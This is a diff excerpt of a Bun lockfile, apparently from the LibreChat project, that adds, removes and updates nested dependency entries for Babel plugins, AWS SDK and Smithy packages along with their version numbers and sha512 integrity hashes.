+ "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
"mongodb-connection-string-url/whatwg-url/tr46/punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
@@ -8893,39 +8331,69 @@
"svgo/css-select/domutils/dom-serializer": ["dom-serializer@1.4.1", "", { "dependencies": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" } }, "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag=="],
+ "terser-webpack-plugin/jest-worker/supports-color/has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.22.20", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-wrap-function": "^7.22.20" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-pBGyV4uBqOns+0UvhsTO8qgl8hO89PmiDYv+/COyp1aeMcmfrfruz+/nCMFiYyFF/Knn0yfrC85ZzNFjembFTw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
+
+ "workbox-build/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
+
+ "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.5.0", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.22.6", "@babel/helper-plugin-utils": "^7.22.5", "debug": "^4.1.1", "lodash.debounce": "^4.0.8", "resolve": "^1.14.2" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-NovQquuQLAQ5HuyjCz7WQP9MjRj7dx++yspwiyUiGl9ZyadHRSql1HZh5ogRd8W8w6YM6EQ/NTB8rgjLt5W65Q=="],
+
+ "workbox-build/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
+
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/@types/estree": ["@types/estree@0.0.39", "", {}, "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/estree-walker": ["estree-walker@1.0.1", "", {}, "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg=="],
"workbox-build/@rollup/plugin-replace/@rollup/pluginutils/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="],
- "workbox-build/glob/jackspeak/@isaacs/cliui": ["@isaacs/cliui@9.0.0", "", {}, "sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg=="],
-
- "workbox-build/glob/path-scurry/lru-cache": ["lru-cache@11.2.2", "", {}, "sha512-F9ODfyqML2coTIsQpSkRHnLSZMtkU8Q+mSfcaIyKwy58u+8k5nvAYeiNhsyMARvzNcXJ9QfWVrcPsC9e9rAxtg=="],
-
"workbox-build/source-map/whatwg-url/tr46": ["tr46@1.0.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA=="],
"workbox-build/source-map/whatwg-url/webidl-conversions": ["webidl-conversions@4.0.2", "", {}, "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@aws-sdk/client-bedrock-agent-runtime/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
-
"@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+
"@aws-sdk/client-cognito-identity/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@3.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-+Fsu6Q6C4RSJiy81Y8eApjEB5gVtM+oFKTffg+jSuwtvomJJrhUJBu2zS8wjXSgH/g1MKEWrzyChTBe6clb5FQ=="],
- "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@aws-sdk/client-kendra/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@aws-sdk/client-kendra/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
@@ -8941,102 +8409,76 @@
"@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@3.0.3", "", { "dependencies": { "@smithy/types": "^3.3.0", "tslib": "^2.6.2" } }, "sha512-zahM1lQv2YjmznnfQsWbYojFe55l0SLG/988brlLv1i8z3dubloLF+75ATRsqPBboUXsW6I9CPGE5rQgLfY0vQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.12", "", { "dependencies": { "@smithy/protocol-http": "^5.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.6", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/middleware-flexible-checksums/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.11", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@aws-sdk/middleware-sdk-s3/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o+VRiwC2cgmk/WFV0jaETGOtX16VNPp2bSQEzu0whbReqE1BMqsP2ami2Vi3cbGVdKu1kq9gQkDAGKbt0WOHAQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.0.2", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-Sdr5lOagCn5tt+zKsaW+U2/iwr6bI9p08wOkCp6/eL6iMbgdtc2R5Ety66rf87PeohR0ExI84Txz9GYv5ou3iQ=="],
+ "@aws-sdk/credential-provider-login/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
- "@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@aws-sdk/middleware-sdk-s3/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA=="],
